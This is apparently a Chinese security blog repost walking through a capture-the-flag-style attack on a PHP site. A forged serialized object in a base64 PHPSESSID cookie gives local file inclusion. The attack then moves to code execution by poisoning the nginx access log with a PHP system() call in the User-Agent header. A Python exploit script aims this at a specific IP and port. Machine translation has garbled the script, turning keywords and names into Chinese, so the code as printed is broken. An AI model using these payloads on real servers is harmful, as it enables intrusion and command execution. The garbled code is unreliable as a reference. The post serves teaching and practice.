LFI to RCE

admin 2024年2月15日11:18:44评论16 views字数 1941阅读6分28秒阅读模式

PHPSESSID — PHPSESSID cookie 是 PHP 原生的,使网站能够存储序列化状态数据。它用于建立用户会话并通过临时 cookie(通常称为会话 cookie)传递状态数据。(关闭浏览器后即过期)。它通常采用 Base64 编码。

LFI to RCE

LFI to RCE

⚠️专业提示:始终尝试解码这些!⚠️

主要有两种解码方法:

  1. 使用base64decode.org:

LFI to RCE

2.使用Python:

LFI to RCE

/www/index.html = 15 个字符 — 这就是 s:15 的原因

考虑到这些信息,让我们玩一下,看看我们是否可以利用它!

LFI漏洞

什么是LFI?

本地文件包含是一种攻击技术,攻击者会诱骗 Web 应用程序在 Web 服务器上运行或暴露文件。LFI 攻击可能会暴露敏感信息,严重时可能导致跨站脚本 (XSS) 和远程代码执行。

如果我用/etc/passwd替换/www/index.html会怎样

你们可以使用在线解码器或使用Python按照我的步骤操作!

LFI to RCE

现在我已经对新的恶意 cookie 进行了编码

我将通过三种不同的方式来演示不同的利用路径。

更改网站上的 cookie 并检索信息

LFI to RCE

使用Python发送请求并打印结果

LFI to RCE

使用 Burp Suite 更改 cookie

LFI to RCE

LFI 至 RCE

什么是RCE?

远程代码执行 (RCE) 攻击允许攻击者在计算机上远程执行恶意代码。RCE 漏洞的影响范围从恶意软件执行到攻击者完全控制受感染的计算机。

为此,我将使用 Python,为什么?因为Python很有趣。我很快就会在这里对我的脚本进行彻底的解释,所以请坐好。

从 LFI 漏洞获取 RCE 的最简单方法是通过日志中毒。

什么是日志中毒?

日志投毒或日志注入是一种允许攻击者篡改日志文件内容的技术,例如将恶意代码插入到服务器日志中以远程执行命令或获取反向 shell。仅当应用程序已经容易受到 LFI 攻击时,它才会起作用。

在这种情况下,我不允许尝试获取反向 shell,因此我将简单地尝试使用“ ls -lsa”-“ls -l”列出目录

记住 LFI 漏洞。只允许我们读取/执行文件,而不能写入或创建新文件。那么我们该如何注入代码呢?好吧,我们可以将日志添加到服务器文件中,不是吗?

首先,我们需要知道什么服务器正在运行:

LFI to RCE

NGINX!!这些文件存储在:/var/log/nginx/access.log

首先让我们看看是否可以使用 Python 脚本访问日志文件:

LFI to RCE

很好,我们有它!现在,让我们看看是否可以使用标头“User-Agent”添加日志

在我的 Python 脚本中,我将添加以下内容:

headers = {'User-Agent': 'Facundo Fernandez'}

LFI to RCE

我们得到:

LFI to RCE

我们不用输入我的名字,而是使用:

headers = {'User-Agent': "<?php system('ls -lsa');?>"

远程代码执行成功!

LFI to RCE

代码解释:

进口64位基数# 导入base64模块,用于base64数据的编解码。# 创建一个原型序列化 PHP 对象的字节。# 这可用于利用 PHP 应用程序中的对象注入漏洞。
恶意cookie = b
'O:9:"PageModel":1:{s:4:"文件";s:25:"/var/log/nginx/access.log";}'打印(“恶意饼干:”,恶意cookie)
# 打印创建有效字节串(cookie)以进行演示。# 使用base64对cookie进行编码。# 这是必要的,因为cookie在HTTP通信期间通常是base64编码的。
Malicious_cookie_encoded = base64.b64encode(malicious_cookie)
打印“恶意cookie编码:”,恶意cookie编码)
# 打印恶意cookie的base64编码版本。# 我们的目标# 这应该是您控制下的或您有权测试的 URL。
网址=
'http://142.93.32.153:31043'# 创建一个cookie字典,以“PHPSESSID”为键,以编码后的恶意cookie为值。
饼干={
'PHPSESSID':malicious_cookie_encoded.decode()}

# 创建一个 headers 字典,尝试在 User-Agent header 中输入 PHP 代码。# 这里的目的是通过尝试让服务器执行“ls”命令来测试远程代码执行(RCE)。
标题= {
“用户代理”:"<?php 系统('ls -lsa');?>"}

# 使用恶意 cookie 和标头向指定 URL 发送 GET 请求。
r = requests.get(url, cookies=cookies, headers=headers)
打印(r.文本)
# 打印来自服务器的响应文本。# 如果您的服务器存在漏洞并执行代码,可能会在响应中看到“ls -lsa”命令的结果。

原文始发于微信公众号(风信Purrs):LFI to RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日11:18:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LFI to RCEhttp://cn-sec.com/archives/2197547.html

发表评论

匿名网友 填写信息